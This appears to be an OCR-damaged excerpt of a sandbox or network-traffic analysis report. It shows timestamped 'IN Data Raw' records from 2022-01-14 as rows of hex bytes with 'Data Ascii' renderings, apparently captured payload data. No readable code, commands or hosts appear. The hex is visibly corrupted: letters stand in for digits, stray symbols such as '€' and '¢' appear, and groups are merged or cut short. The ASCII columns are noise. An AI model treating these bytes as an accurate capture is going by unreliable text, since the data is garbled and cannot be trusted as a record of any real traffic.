1d 1d 7b 8f ce ea 75 bf 57 43 93 a5 53 df 53 72 f9 Oc 7f 1a c7 2d fc 6a 04 82 74 4c 76 64 c6 8e 13 69 7f fb 43 04 b1 25 3f
41 1f 70 7b f1 38 cd 8a ba f9 de e2 €3 1a 02 96 0d 7b Ob 94 11 29 75 3b c0 c6 4a 1c b6 16 3a 09 00 Ob 3c 05 f1 b8 d6 cb
59 f5 aa 23 7f 24 03 c5 ba 39 4e 28 dd 16 d9 a8 47 7f c2 61 82 dd bd 08 52 ca a7 9d e4 49 7b ca Ob 73 69 €9 1d 57 96 5d
ec ba f4 13 fd 86 8d d2 d2 b8 07 36 €9 ae f1 9e 0f 9b
Data Ascii: P\-H1H5<q" y!"a095LWY}w{Xe"GC{Mm-"GKk\;'[5V8D<0%{uWCSSr-jtLvdiC%?Ap{8{)u;J:<Y#$IN(GaRI{siW]6

2022-01-14 03:59:48 UTC 3465 IN Data Raw: 41 76 ba 5f 80 31 5b 5d 66 6d 3a a4 b9 e8 51 bf f9 a9 7b ce 67 98 33 64 38 d8 1a 3d d7 eb 55 90 3e 09 af 68
5298 62 17 al a4 61 8d 28 2a 34 a3 f3 33 Oc 7c 6a 90 d1 ed al 1d 3d f2 43 12 8e 14 3a 19 9a el 0d 5a 5c ac 8d 89 52 8e
3720 e7 54 7f 76 1f Oe 71 25 96 6f 6¢ 95 90 30 Ob 04 57 1b 2f bf c4 73 b3 7f 2b 87 3c 46 fa 84 63 80 13 13 a6 64 34 df aa
7b el 3519 2c 72 a2 8f dO el a8 a8 a5 df 22 b3 ca 59 ¢8 99 b4 49 a6 09 b2 be f6 81 0d 49 7c c1 26 49 6f 9e 1e 00 9e 95
70 el 1a 5a 82 cd 43 be 22 90 4b 83 4f 92 e5 el 83 el 8e 8e bl ef ab 4a f5 8d 3e 7b b8 €8 d7 Oc a5 cb 59 ba 5a 04 05 19
el ec 319c 2b 23 2d 9c 1a 67 3c d2 ec 21 d6 3b 8e da 29 al 9a e7 c5 3c 4a 6 31 01 c1 2d ae 4f 47 a6 15 2a 3c €9 61 53
56 30 81 a9 be 9a 69 97 6¢ fO 70 04 06 eb 88 61 43 be
Data Ascii: Av_1[]fm:Q{g3d8=U>hZba(*43|j=C:Z\R7 Tvq%ol0W/s+<Fcd4{5,r"Y1l|&lopZC"KOJ>{YZ1+#-g<!;)<J1-OG*
<aSVo0ilpaC

2022-01-14 03:59:48 UTC 3481 IN Data Raw: d1 8b 07 a3 58 2c 12 0d 44 ea 1c fe 60 a6 2b 90 b1 7c 54 a3 c0 27 67 7d f7 d8 91 ae 2c 74 8f 58 59 ed b4 e6
dc 97 cd 26 cb 59 87 cb 64 b0 b2 32 3f 50 66 db 70 35 78 90 b8 bf ca db 50 c3 46 61 39 fe 27 b9 28 b1 35 69 c1 d8 15 9d
5a 46 ff 04 83 8a c7 6a 8a 80 9c 09 60 5e Oe Ob 1c d9 a4 f2 5b 4e 16 88 5a a6 32 e4 10 bb 7f fb fd 16 d1 c0 cc c7 1b eb 12
ea7bd3ac 71 0a17 758 44 ab 97 ca a2 c8 74 50 5d b0 5d 71 2f cb 51 4c a6 ce 36 ca 39 f7 7c 2d d0 3d 58 d1 45 73 2¢
5a 3f 35 2b ca 7b 6f €9 52 36 cb 98 ae 3a 2d 68 dd a0 ff fe bc a2 bf 9a 79 6b 6¢ 48 d7 el c9 c2 89 32 70 29 8f 86 2b ca f4
88 d8 20 ff 43 b5 1b b9 4b 69 8e b5 ff 5e 37 Ob ¢9 f8 81 24 02 72 4b 95 1a 33 dc cc 82 eb 01 b0 Oe 05 4c cc 73 ¢7 57 ea
53 71 27 Oc 5a c7 b4 6¢ d0 58 c6 be 61 27 f9 1e 38
Data Ascii: X,D"+|T'g},tXY&Yd2?Pfp5xPFa9'(5iZFj A[NZ2{quDtP]]q/QL69|-=XEs,Z?5+{oR6:-hykIH2p)+ CKir7$rk3LsWSq'Z
IXa'8

2022-01-14 03:59:48 UTC 3497 IN Data Raw: 75 23 8a 8d ff 6¢ 8b 30 f8 9e 50 45 8e cd 5e 81 32 14 bb 56 94 7e 80 58 a0 f2 4d 47 32 d5 3a bb c9 02 ce 7b 38
d5 b3 9¢ 30 ad fa 10 0d dd b7 48 82 97 97 f1 ef 75 4b b0 70 ab 07 b1 90 09 b8 37 ce 18 4f cf c9 a3 98 fa 1c 24 d4 af d7 e9
b6 5d be 32 89 33 cd 91 40 95 95 a7 ab 2a 77 2c 03 0d 83 aa 4b 80 03 50 66 02 a8 07 ea 94 6b 2b ea 8b 4c 18 2a 6a 54
al 64 c3 35 d8 3d 57 9d Oe b4 51 95 9f 3e 1f d9 18 f1 fb e4 aa 7d dc cd 5¢ 34 dO 21 92 44 ae 17 9e 42 fc 38 dd f8 62 59 1b
f1 de 5d a0 f9 €9 00 70 81 1e 1f ef 02 97 fa c1 ac 3a fb ff 49 b0 eb 2c eb f6 80 19 ed dd d9 el 5e d0 6f 8e 9a 81 b2 57 Of dé
a4 9c¢ b0 dO ed 15 dc f7 9b da d0 51 d4 8e 1b cf 65 10 fd eb cf 55 c4 d7 2e 71 09 bd 13 8a b7 d4 cf 4c b7 67 b4 e8 ae a2
b3 11 5f 86 4a 1c 98 f1 90 5e 37 43 f5 f5 55
Data Ascii: U#IOPE"2V~XMG2:{80HUKp70$]23@*w,KPfk+L*Td5=WQ>)\4!DB8bY]p:l,"oWQeU.qLg_J"7CU

2022-01-14 03:59:48 UTC 3513 IN Data Raw: 6e 23 4d 7d 07 45 64 83 4b b4 63 06 Of 77 24 f1 11 77 66 6f 74 ff d8 e3 91 78 01 8a 3f 96 f2 81 8b ff b4 a6 9a
9c 2c af d7 0a b7 74 15 d7 c3 5e 61 1c 9e e4 22 da 88 35 56 03 61 90 a5 de f5 61 20 7f 62 eb 71 cc b2 df 46 c6 05 5¢ 88
64 05 fb 2a ba 43 2f 8f 9c 28 aa a2 7c a7 62 3d 7 94 c4 da 3e f5 06 30 ef 28 16 72 08 12 a0 42 c1 c¢7 5d 1d f1 06 7a 07 be
3e 69 9d e9 25 46 64 5¢c e7 0f 42 al bb el 6f b2 5b d7 a8 9b 7d 6b 08 90 ca 40 d5 d6 58 56 9a a6 6e 88 31 cd b3 b7 e9 2¢
€6 82 b4 dd ac c7 9e 81 33 14 8¢ 00 b3 92 ¢5 ¢3 93 ff 27 d6 5a f4 Oe 38 ac c5 32 f3 c8 95 a5 5e 3f 40 Oc 60 5 6d a4 33 68
21 36 d4 9a 15 f3 03 72 70 47 87 4d 85 ac 71 6f 78 1a 34 3d 51 f3 b3 c6 8a a0 dc 6f €8 23 b2 c8 f9 69 5b 33 7 67 82 d9
88 48 7a 6f 7e b5 c6 a5 96 fe 03 43 eb 73 dc ca
Data Ascii: n#M}EdKcw$wfotx?,t*a"5Vaa bgF\d*C/(|b=>0(rB]z>i%Fd\Bo[}k@XVn1,3'Z82"?@ m3h!6rpGMgox4=Qo#
i[3gHzo~Cs

2022-01-14 03:59:48 UTC 3529 IN Data Raw: d1 ec 14 cb f1 92 8d 61 Oe 2f f5 ca 5a 63 a5 ba 28 b5 ae bl 48 b7 24 1b ¢3 76 d6 11 65 bc bb 5d 32 49 bb ba
ba 74 ad 67 91 cc 3c ae 4b 25 0f 29 9d 39 12 75 de ec f3 02 eb 71 07 b6 bb 44 8e 4b Oc 48 c8 50 1d ae cf 70 9b f9 30 3a
a9 f6 e3 53 75 3f 22 29 12 b4 3b 38 a8 0d dd 40 28 54 9b 7a 23 db 1b bf fc da 69 a9 dc 75 09 f9 43 9e 91 a9 b1 1f e3 2f a9
4 21 5¢ 3d f3 b6 7 d8 3f df 68 al da 3c c1 c0 08 9e 99 ed fa a0 73 ¢3 94 96 f3 d1 Ob 86 d5 5a 25 4e e6 98 32 1c Ob a3 04
d0 93 f3 6¢ 37 9c Of 5¢ 9c 48 25 2¢ 74 03 71 02 92 1b 37 36 a0 ba 90 09 75 1f 20 5d 90 1a Oc 42 90 94 3c ea ea 02 5e d4
8d d6 7c 85 91 dd Oc d9 45 e5 a3 fa 98 €3 75 16 8e 7f f5 0d 70 6e 48 a4 31 e0 60 ea cb d2 dc fa 39 30 23 27 eb 01 f9 68
el b0 18 95 8b ee 8c e7 bc bl ec ae 3f 4e 80 30 3¢
Data Ascii: a/Zc(H$ve]21tg<K%)9uqDKHPp0:Su?");8@(Tz#iuC/N\=?h<sZ%N2I7\H%,tq76u |B<"EupnH1 90#'h?N0<

2022-01-14 03:59:48 UTC 3545 IN Data Raw: 21 9e cd 9b a0 28 4b 17 c4 c6 c8 ee df c4 1d f2 22 9f d5 3c 8a be ea 08 c3 49 98 4b 7f ef 5d cf 7d 3e b0 01 82
5e 10 ce 55 10 6e 64 09 ef a7 02 74 b7 d5 1a 36 b3 41 aa f3 0d 31 fe fc ee cf c1 b6 af b9 91 8e 3e 26 41 59 76 3d b7 4a
9e db 5d c2 5 93 bc aa 9f 83 44 ac Oa c5 al 25 2a 46 37 8d d6 b6 3f be 05 3d 55 35 c0 67 20 41 ea 90 10 ba f2 bb 44 79
fe 1b 9a 4a ef 3f 05 1c e8 70 9b 49 a4 4c 83 4c 85 45 36 f9 28 57 8¢ 11 a0 23 c6 83 54 5 2d 80 9f 22 d5 ca 22 51 a2 eb db
fb 58 2b 7f 63 Oc 4c 50 af 92 9e 31 e6 2c da d9 f1 af e0 35 a8 3d 44 0d 8c 76 66 6d ca 90 24 45 {7 35 b2 a3 ac 0f a7 3e 92
38 2d df 78 ca a0 75 27 78 a0 f6 33 7d b3 c5 bc 98 2e 51 48 9b 07 60 56 5e c7 f1 9b ec 61 a3 5¢ cc fO b7 87 d8 28 e4 41
1la 45 {3 da cO e4 8a ee 94 80 94 7e e9 a3 14 bd
Data Ascii: !(K"<IK]}>*Undt6A1>&AYv=J]D%*F7?=U5g ADyJ?pILLE6(W#T-""QX+cLP1,5=Dvim$E5>8-xu'x3}.QH V a\(AE~
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kBytes
Timestamp transferred Direction Data

2022-01-14 03:59:48 UTC 3561 IN Data Raw: ce 6f cb 6a a5 d5 f4 87 69 e3 2e 57 6f 59 9a 08 39 71 20 ac 40 24 e7 5e c4 92 89 8 dc 73 ed b5 9c 52 f9 3f 7d
f9 09 67 9e 37 89 53 el 07 dc 77 be d8 07 bd 27 64 61 7b be 22 {2 f2 43 2e c4 22 94 7 9e 1d c8 0Ob 8f 09 a7 9d Oe c4 33
51 4f 30 13 b1 8d 16 14 47 52 16 ed 5d 6¢ ea 17 79 49 96 56 f6 9c 32 c7 €9 83 b4 65 94 18 11 7b 23 7f 2d 99 76 cb 34 1a
bc c1 74 cd b6 ea a6 9f 70 6f 14 2b 8a 39 7d 11 1f cf 6e 20 a9 ed 61 c6 14 5c dd 86 f4 55 cc 68 b3 52 18 00 fb f2 e7 26 ab
97 0c 29 ca 7a 82 ca 2c 00 d6 c3 18 c2 7e 61 f8 85 9a 42 d5 27 98 2c 55 7e 41 45 ee 4c 93 7a 71 ae bb 06 c9 4b b4 1c 4a
5a 14 3a 08 98 fc ea Oc c1 6d d5 5f 52 71 44 c5 fa 92 84 4a 07 57 ce 21 ba 04 82 7d 52 ad 53 80 20 e9 22 a6 4d 8a 67 45
11 46 d3 66 6¢ ca c2 ca 5¢ b2 6¢ Ob Oe 55 e8 6d ba
Data Ascii: 0ji.WoY9q @$"sR?}g7Sw'da{"C."3QO0GR]lylIV2e{#-v4tpo+9}in a\UhR&)z,~aB',U~AELzqKJZ:m_RgDJW!}RS
"MgEFf\lUm

2022-01-14 03:59:48 UTC 3577 IN Data Raw: 86 8f bb 4d 1c 82 4d 5d 6 cb 85 1c ec ae 8e 17 a5 fc ee 28 29 3b 22 e4 66 b3 c9 87 42 7a 9a 3c 1c e0 8d 4b 86
ac c1d9 7b 65 30 10 a5 a0 a6 f8 be 0d 37 17 43 7e db 9a 6a 6a a2 36 b3 51 ab 74 d7 c7 2e 28 28 df 02 33 46 5b d8 43 d6
b9 58 6e 00 8a fd a9 50 7b €9 16 d3 21 3d 33 6e 84 74 5 04 df 5e f6 el 43 26 56 6¢ a3 6¢ f2 e7 25 €9 95 c8 4f 36 el 80
18 57 02 9f Of e7 e4 e7 d2 9c a6 6f f1 ac 09 cO d2 23 a9 87 ba 85 5d ea c9 5b 5a 76 f9 8e af e5 1b ee 08 f9 7d e3 b3 7e a7
9a 17 09 04 d5 53 cf 22 24 16 87 2d ea a4 e7 19 50 25 d4 69 22 f2 d3 62 5d b7 a4 0f e8 70 35 33 a9 1a fc 00 0d b1 1d d9
8a 10 5e 25 53 1f b0 f2 2b 1b 76 17 f2 6e 9b 64 77 f3 10 1e b9 ec 95 dc 90 b1 ae fa cc d1 52 3b de 44 de 38 c1 Oc 16 4e
5b 45 94 37 e5 42 c6 e8 9d be b3 f5 77 89 de 67 7b
Data Ascii: MM]();"fBz<K{e07C~jj6Qt.((3F[CXnP{!=3nt"C&VII%06Wo#|[Zv}~S"$-P%i"b]p53"%S+vndwR;DSN[E7Bwg{

2022-01-14 03:59:48 UTC 3593 IN Data Raw: 44 e7 67 el 01 fa 7 al f5 88 40 b4 53 86 6¢ 7f 27 a2 75 eb 4c 58 aa 99 64 2d el 99 ad 18 da 8a a5 a2 58 4c
98 06 dd 5a 6e b8 8c 11 aa 77 56 24 4f b2 88 27 b4 b8 9c dd d8 10 f5 d2 b7 85 26 82 73 4b 47 44 9c ae 48 a8 22 cb 38 05
d2 94 f0 54 22 9e b1 ef 81 1d 09 ba 70 4c d0 a5 4c 19 a3 19 92 25 ¢8 dc 2c c0 4b 59 a4 44 4b 5¢ d0 07 1c 85 97 de a2 33
d1 9a 0b 7d fd 50 8¢ 0a 53 c6 8 36 f5 4a 87 ba ab 1a 7f 34 8b 3f ec 17 c6 45 a7 da 52 23 4d 7b d1 f0 e7 01 1e 32 26 1la
133e e9 d3 cl aab7 fd 67 6b 02 19 77 el 44 7b 59 3e e2 a5 57 e3 c1 60 31 26 2e a3 6f 11 5e 5c 1f 7d 3c 3d 7c 5d 7c 46
6f a3 al 0d 6a 75 12 f5 7a ¢7 ¢9 80 71 db 1d d4 f5 24 e9 24 e8 52 f4 38 5d e7 03 8¢ 65 9a 72 7e 31 e2 01 ec 2a 29 d3 88
18 cf 80 08 3b bd ef 9a bd 8d 35 05 c1 64 c2 37 05 c6 94
Data Ascii: Dg@SI'uLXd-XLZnwV$0'&sKGDH"8T"pLL%,KYDK\3}PS6J4?ER#M{2&>gkwD{Y>W"1&.0"N}<=|]|Fojuzq$$R8]
er~1*);5d7

2022-01-14 03:59:48 UTC 3609 IN Data Raw: 76 90 af 25 ac fe 6f 04 ff b4 3e Oc 64 39 90 c6 1c e7 f3 a9 24 58 43 87 4a 58 ce 33 ba 75 6b Oe 19 e6 09 80 08
58 ee e7 9 94 4b a5 c5 89 71 a2 ab 4a 6d 88 95 4e b5 9f 83 dd 76 dc 7e 76 95 3f Oa 4b 80 d8 46 Oe 15 71 e2 45 12 1d 05
69 d7 66 Oa df a8 5a 2e 4e 30 2a 9c 30 2d b5 c2 d7 9e 70 b5 50 70 26 b6 5¢c f4 68 3b b9 55 c0 42 06 95 ba 76 18 ee 3b 3f
0 8a be 3e 65 dO 1d b4 62 86 d1 f8 84 25 b4 5c 8f 8b a7 22 bb 5d 06 41 b2 bl 42 4a 33 e7 02 dc 22 96 2c 20 ed ef 67 e0
fa 0a Oc 61 68 cO 8b 00 9f a3 9f 3d be 88 75 a4 8e cb bc b4 23 7e c8 eb db 27 8d bf 51 6f 11 ed bb el 73 b5 c0 9f 71 a4 87
1c da 6a 7b 37 f8 bd 06 d9 10 f3 85 6¢ d9 96 15 85 b2 3 30 bf 14 da 85 41 40 37 2d 8f 99 40 62 5d 05 54 da cf e3 55 71
d8 b6 41 57 f2 3d 9a 91 61 f0 3c bf 73 b1 70 dO cO
Data Ascii: v%0>d9$XCJIX3ukXKgJmNv~v?KFqEifZ.N0*0-pPp&\h;UBV;?>eb%\"|ABJ3", gah=u#~'Qosqj{7I0A@7-@b]T
UgAW=a<sp

2022-01-14 03:59:48 UTC 3625 IN Data Raw: d5 76 87 9a 44 01 1c 5b c¢3 30 db 1a ae 5e eb 09 cd 70 2e 90 5d ff 13 ad 2c 06 74 d6 54 92 71 52 1c d8 36 08
b6 al bf 6d c6 24 a5 0f 67 99 60 37 32 08 6b 4c 55 53 ca c4 91 d1 0d b5 17 75 66 bd ca bc ad 8f fa 06 fO 8c 2e 66 a4 00
50 d1 79 97 03 06 bb a8 4e 38 a0 40 5e 2f ¢7 b5 5f 50 92 cc eb ae 3c 7 10 fa 6d b8 7d 17 4b 42 6f 37 b1 21 25 Ob a8 f2
3b1le 8b a0 98 79 9d a6 52 d0 76 00 e8 d7 eb 31 Oe d1 2c 34 c5 49 ef b2 0f 8d b5 76 2f df c3 b0 12 ba a2 fb 44 ac e7 59
99 0b c6 1c bd 7a 65 8a 4f €2 68 2b ¢7 9d 3b 3 53 cb d6 e4 8¢ 67 13 e6 f2 91 97 b7 66 11 63 8a db 2b ¢3 78 80 0a 60 cd
57 18 94 ¢5 9f 26 3 0 26 d3 58 09 1f 3e ac 86 e2 4f c5 e8 d1 8a 79 90 f4 be f5 3¢ 87 ¢7 c0 b3 23 62 62 Oc 2¢ 7b d2 0d d0O
44 d4 ee 3d c0 60 0d 6¢ 74 19 dc de 8b 2a 8c 1d 09 37
Data Ascii: vD[0”p.],tTqR6mM$g" 72kLUSUf.fPyN8@"/_P<m}KB07!%;yRv1,4Iv/DYzeOh+;Sgfc+x W&&X>Oy<#bb {D="It*7

2022-01-14 03:59:48 UTC 3641 IN Data Raw: 30 4b 8c 42 68 36 36 31 4d 4d 30 50 77 73 6d 32 66 37 df 30 31 49 4a 62 71 56 a3 5a 31 70 3c 32 71 46 54 00
69 61 78 6f 77 54 7d 70 7a 64 9a 6f 4f 36 99 6e 71 5a 52 50 66 6b 49 75 72 61 43 70 4c 61 65 6b 35 30 69 31 33 4f 65 63
71427476 49 44 76 72 6a 66 2b 7b 4a 41 08 37 35 31 4f 4d 70 41 04 46 6f 32 6¢ 3d 76 2f 3b c4 4c 61 71 57 62 89 34 71
3236 59 7f 54 00 63 12 40 6f 77 5e 64 4b 7a 64 5e 67 48 1e 5a 6d 71 50 75 57 60 66 94 5e 73 61 43 72 64 66 63 6b 33 3¢
6b 46 dd 4f 6e 61 62 46 66 72 55 c9 4b 72 6a 66 15 9b 9a 41 68 32 1d 08 4d 4d 7a 23 4d 72 6f 38 09 c6 74 30 37 6f 65 72
74 6e 9b 59 31 70 41 40 70 46 52 13 6f 70 7c 7e 73 45 49 66 15 97 54 6¢ 49 59 5b 6d 71 50 37 3d 67 6b 4f 64 74 70 47
61 49 78 Oc 98 35 30 6a 5a Oe 4f 6e 6d 1e 2d 76 76 4f 55 72
Data Ascii: 0KBh661MMOPwsm2f70113bqVZ1p<2qFTiaxowT}pzdoO6ngZRPfkluraCplLaek50i130ecqBtvIDvrjf+{JA7510
MpAFo02l=v/;LaqWb4q26 Y Tc@ow dKzd"gHZmqPuW"fAsaCrdfck3<kFOnabFfrUKrjfAn2MMz#Mro8t07oertnY 1pA
@pFRop|~sEIfTIIY[mgP7=gkOdtpGalx50jZOnm-vvOUr

2022-01-14 03:59:48 UTC 3657 IN Data Raw: 7a 62 7e 6¢ 4f 36 27 11 71 5a 5a 50 66 6b db 74 72 61 ef 70 4c 61 5d 69 35 30 60 35 33 4f 6e 67 71 42 77 76
49 44 c7 72 6a 67 a9 4a 4e 41 24 34 35 31 4e 4d 70 50 75 72 6f 33 64 37 74 30 97 49 73 61 c6 57 47 59 6¢ 72 32 32 7f 46
54 00 69 61 7a 6f 75 54 4¢c 70 46 64 54 6¢ 73 34 66 6d 09 58 58 50 6¢ 6b 49 75 72 61 43 70 4c 61 63 6b 33 30 6¢ 35 4d 4d
6e 67 f5 40 77 76 4a 44 74 72 68 67 30 4a 55 71 6f 36 8e 31 4d 4d 5f 50 77 63 70 3d eb 08 74 30 30 6¢ a3 6e 70 56 43 71
08 70 32 38 02 7c 54 00 63 6b 7e 00 55 54 4c 7a 71 1a 49 6¢ 4f 3c 6a 6a 1e 31 58 50 6¢ 70 c4 4a 72 61 42 55 9c 88 63 6b
311855353345 1d 5d 71 42 7d 5e 76 44 74 78 46 49 37 24 6d 41 68 3c 22 bc 71 4d 70 51 52 64 74 bf 59 37 74 31 14
99 9a 61 71 52 6f 60 31 70 38 41 4b 46 54 Oa cb 76 15 21 77
Data Ascii: zb~106'qZZPfktrapLa]i50°530ngqBwvIDrjgJNA$451NMpPuro3d7t0lsaWGYIr22F TiazouTLpFdTIs4fmXXP
IkluraCpLack30I5MMng @wvJDtrhg0JUqo61MM_Pwcp=t00InpVCqp28|Tck~UTLzqllO<jj1XPlpJraBUck1US53E]qB} vDtxFI
7$mAh<"qMpQRdtY7tlagRo 1p8AKFTvIwW

2022-01-14 03:59:48 UTC 3673 IN Data Raw: 4e 41 92 15 35 31 68 4d 7d 50 26 72 ee 33 76 37 4e 02 31 49 7a 61 7c 56 12 59 b0 71 22 32 ¢3 7b 54 00 60 61
77 6f 2e 54 4d 70 6a 64 9e 5c 4f 36 6f 6d 7c 5a 05 50 €7 6a 59 75 28 4a 43 70 45 61 6d 6b 4d 30 6f 14 23 4f 9c 7e 71 42
7e 76 47 44 0e 72 eb 66 30 4b 1d 7b 68 36 3c 31 5d 4d 0d 50 76 72 7f 32 50 06 74 30 49 49 66 61 0f 56 44 58 21 70 ac 33
7146 5d 00 7c 61 e2 6f f4 55 5¢ 70 2a 75 54 6¢ 46 36 70 6d ea 5a 59 50 76 6b 6e 44 72 61 3b 70 54 61 f8 6b 36 31 7c 35
ad 4e 6e 67 78 42 6f 76 fc 44 f7 73 7a 67 60 5a 4e 41 61 36 2c 31 f5 4d 71 51 77 72 c5 08 66 37 51 30 2a 49 cb 61 f0 56
5759 f3 52 32 32 78 46 4f 00 d5 61 fb 6e 67 54 60 31 7a 64 5d 6¢ 52 36 a4 6d fO 5b 48 50 20 5b 49 75 7b 61 5e 70 8f 61
€2 6a 25 30 92 12 33 4f 67 67 6¢ 42 b3 76 c8 45 64 72 da
Data Ascii: NA51hM}P&r3v7N1lza|VYq"2{T awo.TMpjd\O60om|ZPjYu(JCpEamkM0o#0O~qB~vGDrfOK{h6<1]MPvr2PtOIIf
aVDX!p3gF]|laoU\p*uTIF6pmZYPvknDra;pTak61|5NngxBovDszg ZNAa6, 1IMgqQwrf7Q0*laVWYR22xFOangT " 1zd]IR6m[HP
[lu{a”paj%030ggIBVEdr

2022-01-14 03:59:48 UTC 3689 IN Data Raw: 5a 4f d9 2f 87 6¢ d1 68 82 56 87 6a 9a 5b c9 78 c2 72 62 49 b8 72 b4 32 5f 2a 7a 5¢ 8f 66 Ob 60 9a 6f a8 45 2c
55 9c 7e d1 4a Ob 69 96 2f d4 30 97 70 73 4a 96 73 37 15 6f 2d 95 31 74 61 71 64 48 54 62 71 05 6a 93 30 94 4c 04 1a 78
63 45 48 2a 4e 75 74 0a 57 38 76 76 32 7e 4b f9 5d 61 54 2f 54 c1 72 33 65 9d 4d 3e 7b 22 6f af Ob 17 2f 7a 4b 1e 54 7b
42 3e 7273 64 18 68 53 63 40 78 44 41 51 32 53 70 a0 49 49 54 f1 52 82 36 2f 33 e5 29 28 5d 5a 63 c0 60 cc 43 70 74 ec
0f e3 5¢ 05 04 97 4b e3 75 26 50 5f 5b e5 7e 05 68 ee 1f cO 77 b8 5a 28 63 b6 6a 28 71 e7 40 e8 6a 1d 65 aa 42 82 2a 88
3543 7c 64 67 fd 43 15 45 f3 40 e0 73 2f 5a 97 4f aa 41 cf 2c ff 20 24 49 00 63 81 68 ee 30 al 10 70 2b 40 4d 03 52 7a 4d
36 5d e2 57 27 29 e8 42 4c 1d b3 67 93 6f 07 67 46
Data Ascii: ZO/IhVj[xrblr2_*z\f oE,U~Ji/lOpsJs70-1taqdHThgjOLXCEH*NutW8vv2~K]aT/Tr3eM>{"0/zKT{B>rsdhS
c@xDAQ2SplITR6/3)(]Zc Cpt\Ku&P_[~hwZ(cj(q@jeB*5C|dgCE@s/ZOA, $IchOp+@MRzM6]W')BLgogF
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kBytes
Timestamp transferred Direction Data

2022-01-14 03:59:48 UTC 3705 IN Data Raw: 68 50 5c 5d 28 23 11 3d 12 72 2b 53 12 52 20 59 5¢ 2c 73 06 14 22 18 1a 43 15 53 46 18 29 3a 54 00 Oc 1f 6f
36 24 3¢ 15 14 00 18 05 21 53 66 0a 14 2e 07 1e 03 1c 05 1c 1c 04 43 33 23 Oc 01 02 5b 55 6¢ 79 5c 2¢ 0f Ob 3¢ 23 14 1e
20 2a 11 72 2e 06 44 2a 1e 33 07 42 50 52 39 24 1f 3e 24 11 00 42 03 37 10 51 45 28 23 13 1e 22 22 3a 45 19 5d 5¢ 22
25 3b 70 Oc 61 35 1f 12 26 2d 04 13 Ob 3a 2f 20 58 12 08 09 2e Ob 33 09 1b 2¢ 75 02 12 39 32 20 Oe 01 3f 4¢ 40 09 35 70
27 0f 09 16 27 23 0f 39 21 74 24 Ob Ob 45 2e 1a 38 18 53 35 7c 28 3e 03 31 10 17 2c 40 03 53 11 5e 45 20 12 0d 25 2f 37
3c 31 03 57 46 2e 05 38 69 Oc Of Oe 2¢ 05 31 28 15 14 10 3d 0d 23 62 1f 1d 14 5a Ob 35 05 1e 3b 1c 06 18 13 02 23 15 Oc
08 5a 5¢ 38 4c 43 2a 6e 20 14 36 23 Of 39 21 74 15 0f 13 6f
Data Ascii: hP\J(#=r+SR Y\,s"CSF):To6$<ISf.C3#[Uly\ <# *r.D*3BPRI$>$B7QE(#":E]\"%;pa5&-1/ X.3,u92 2L@5p"#9lt
$E.8S5|(>1,@S"E %/7<1WF.8i,1(=#bZ5;#Z\8LC*n 64#9!t0

2022-01-14 03:59:48 UTC 3721 IN Data Raw: 5f 32 66 6¢ 7c 58 59 51 65 6b 49 69 76 61 43 6d 49 67 63 6a 28 35 7e 4c 36 6f 6¢ 6f 69 4a 7e 56 4d 56 5d 6a
6275 1d 57 4b 61 69 3e 27 18 49 4b 61 dO 87 76 65 32 66 37 70 45 31 49 73 75 77 43 55 64 30 65 20 b2 f0 43 46 45 7b
el ff 73 6b 46 cc f9 6¢ 62 41 7e 72 37 73 7f f1 d7 5d 42 23 79 c9 e4 63 el d6 61 cc f4 7f 6d 35 31 6e 27 b3 d6 6d 67 71 4c
7276 4b 4a 7a 7a 6e 61 22 cb b2 46 6e 23 27 28 4f 43 72 59 71 67 7d 2b 64 25 f4 ad 33 4f 53 60 73 44 c7 c4 35 70 33 2a
7f 4354 02 71 79 74 69 67 55 4d 6e 7a 7c 51 6¢ 4f 24 e6 cc 78 5a 58 45 74 66 48 67 f3 35 4a 70 4c 74 71 66 34 22 ed 6d
34 4f 6e 72 63 4f 76 78 40 44 76 67 78 6a 31 45 40 4f 6¢ 30 27 b0 45 44 76 45 65 6b 6d 20 €6 92 7a 36 11 48 7d 73 f1 f3
4479 31 7e 31 1a 71 48 5¢ 06 7c 73 6b 6e 65 d5 50 78 7c
Data Ascii: _2fl|XYQeklivaCmlgcj(5~L60loiJ~VMV]jbuWKai>'IKave2f7pEllsuwCUdOe CFE{skFIbA~r7s]B#ycam51
n'mggLrvKJzzna"Fn#(OCrYqg}+d%30S sD5p3*CTqytigUMnz|QIO$xZXEtfHg5JpLtqf4"m4OnrcOvx@Dvgxj1E
@OI0'EDvEekm z6H}sDy1~1qH\|sknePx|

2022-01-14 03:59:48 UTC 3737 IN Data Raw: 32 22 00 e7 9e 98 93 e0 05 fO 0d 00 04 58 aa af 03 5a Of ff 00 d1 48 8a 86 41 26 2e 05 00 79 Ob e8 4f 4e 5f dc
67 07 a1 08 e9 a3 27 00 cb cc ¢8 1d 1c c9 d7 cf 05 cd ce db Oe df d9 00 da dc dd de df 1c e0 el e3 c0 e4 59 e5 58 0a 50
00 52 51 2e 88 83 b8 4c bc 3e 5a 54 80 b2 31 46 c0 65 c9 50 00 44 1e 8f 80 25 15 10 0f 7f 05 1d d2 8b 88 41 11 89 90 4d
06 40 85 21 cb 5 00 c6 fd d7 80 16 39 f7 77 00 13 74 2f 96 29 03 78 2a 03 f3 a5 ff 81 83 el c8 dd a4 21 1c 31 87 74 40 Oe
fc 43 7c Of a5 00 05 19 11 fd 35 1a 86 cb 24 06 66 1f 30 22 98 Oc 12 0f 81 c4 04 f0 e7 50 99 83 01 eb 97 2 8a 03 43 7b {7
00 3c 20 76 f5 0e 80 3b 22 75 21 Ob 30 7b 01 21 40 60 c6 13 00 02 eb e6 4f 5f 25 ec fa 00 1c 1b 7c 43 06 05 88 14 02 04
4056 24 13 84 c1 54 d0 d4 fO dc 76 58 00 29 08
Data Ascii: 2"XZHA&.yON_g'YXPRQ.L>ZT1FePD%AM@!9wt/)x*!11t@C|5$f0"PC{< v;"u!0{!@ O_%|C@V$TvX)

2022-01-14 03:59:48 UTC 3753 IN Data Raw: d0 74 7b 40 e2 00 f2 63 c2 0a e9 f1 5e 07 03 03 al Oe eb 5f 9d a1 51 d8 eb fb fc f9 7c 60 60 4d 80 16 7d 9e 75
00 7c ba f8 1d 89 b9 00 05 55 98 db e3 6a b1 el f4 2a fe 8c 01 5f 2b 03 8d 93 15 14 d7 9b 75 bb Ob 98 19 21 4a 00 01 eb
13 60 la el 77 34 00 66 88 0a 46 f4 25 84 c0 1f 74 df 69 80 3b ea ac c4 67 37 75 70 00 51 06 fe b8 58 Oc e9 2f Oe Oa 8b
2c fd ef 24 20 e8 13 82 01 7e 03 1c 81 ed e3 3d 50 f7 20 55 2f 08 52 00 89 2e 32 6¢ 9f fc 26 b1 1e 29 30 c9 40 9d el b6 d4
